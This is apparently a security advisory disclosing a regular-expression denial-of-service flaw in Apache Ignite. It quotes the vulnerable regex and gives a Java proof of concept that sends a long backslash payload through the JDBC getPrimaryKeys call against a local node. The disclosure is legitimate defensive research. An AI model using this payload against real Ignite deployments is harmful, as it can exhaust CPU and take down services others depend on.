GHSL-2022-023: Regular Expression Denial of Service (ReDoS) in Apache Ignite

toRegex = toRegex.replaceAll("([^\\\\\\\\])(\\\\\\\\(?>\\\\\\\\\\\\\\\\)*\\\\\\\\)*\\\\\\\\([_|%])", "$1$2$3");

public class RedosIgnitePoc {
    static class Person {
    }

    public static void main(String[] args) throws IgniteException {
        // Preparing IgniteConfiguration using Java APIs
        IgniteConfiguration cfg = new IgniteConfiguration();

        // The node will be started as a client node.
        cfg.setClientMode(true);

        // Classes of custom Java logic will be transferred over the wire from this app.
        cfg.setPeerClassLoadingEnabled(true);

        // Setting up an IP Finder to ensure the client can locate the servers.
        TcpDiscoveryMulticastIpFinder ipFinder = new TcpDiscoveryMulticastIpFinder();
        ipFinder.setAddresses(Collections.singletonList("127.0.0.1:47500..47509"));
        cfg.setDiscoverySpi(new TcpDiscoverySpi().setIpFinder(ipFinder));

        // Set a cache configuration so that it has a query entity
        CacheConfiguration<Long, Person> personCacheCfg = new CacheConfiguration<Long, Person>();
        personCacheCfg.setName("Person");

        QueryEntity queryEntity = new QueryEntity(Long.class, Person.class)
                .addQueryField("id", Long.class.getName(), null)
                .addQueryField("age", Integer.class.getName(), null)
                .addQueryField("salary", Float.class.getName(), null)
                .addQueryField("name", String.class.getName(), null);
        queryEntity
                .setIndexes(Arrays.asList(new QueryIndex("id"), new QueryIndex("salary", false)));

        personCacheCfg.setQueryEntities(Arrays.asList(queryEntity));

        // Starting the node
        Ignite ignite = Ignition.start(cfg);

        IgniteCache<Long, Person> cache = ignite.getOrCreateCache(personCacheCfg);
        cache.put(1L, new Person());

        System.out.println(">> Created the cache and added the values.");

        try {
            // Registering the JDBC driver.
            Class.forName("org.apache.ignite.IgniteJdbcDriver");

            Connection conn = DriverManager.getConnection("jdbc:ignite:thin://127.0.0.1");
            DatabaseMetaData meta = conn.getMetaData();
            String redosPayload =
                    "!\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\!\\";
            meta.getPrimaryKeys(null, null, redosPayload);
        } catch (Exception e) {
            System.err.println(e);
        }

        // Disconnect from the cluster.
        ignite.close();
    }

}